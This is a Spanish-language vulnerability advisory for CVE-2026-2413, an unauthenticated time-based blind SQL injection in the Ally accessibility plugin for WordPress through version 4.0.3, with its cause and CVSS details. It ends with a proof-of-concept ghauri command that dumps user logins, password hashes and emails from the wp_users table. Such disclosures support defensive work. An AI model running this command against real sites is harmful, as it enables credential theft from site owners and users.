CVE-2026-2413

Ally – Web Accessibility & Usability <= 4.0.3 - Inyección SQL no autenticada a través de la ruta de URL

Descripción

El plugin Ally – Web Accessibility & Usability para WordPress es vulnerable a inyección SQL a través de la ruta de URL en todas las versiones hasta la 4.0.3 inclusive. Esto se debe a un escape insuficiente del parámetro URL proporcionado por el usuario en el método get_global_remediations(), donde se concatena directamente en una cláusula SQL JOIN sin una sanitización adecuada para el contexto SQL. Aunque se aplica esc_url_raw() para la seguridad de la URL, esto no impide que se inyecten metacaracteres SQL (comillas simples, paréntesis). Esto hace posible que atacantes no autenticados añadan consultas SQL adicionales a consultas ya existentes que pueden utilizarse para extraer información sensible de la base de datos mediante técnicas de inyección SQL ciega basada en tiempo. El módulo de Remediación debe estar activo, lo que requiere que el plugin esté conectado a una cuenta de Elementor.

Detalles

• Tipo: plugin
• Slug: pojo-accessibility
• Versión afectada:
• Puntuación CVSS: 7.5
• Clasificación CVSS: Alta
• Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE: CVE-2026-2413

POC

ghauri -u "http://localhost:9001/x*" --technique=E --dbms=mysql --batch --ignore-code 404 --skip-urlencode --prefix="'" --suffix="OR'" -D wordpress -T wp_users -C user_login,user_pass,user_email --dump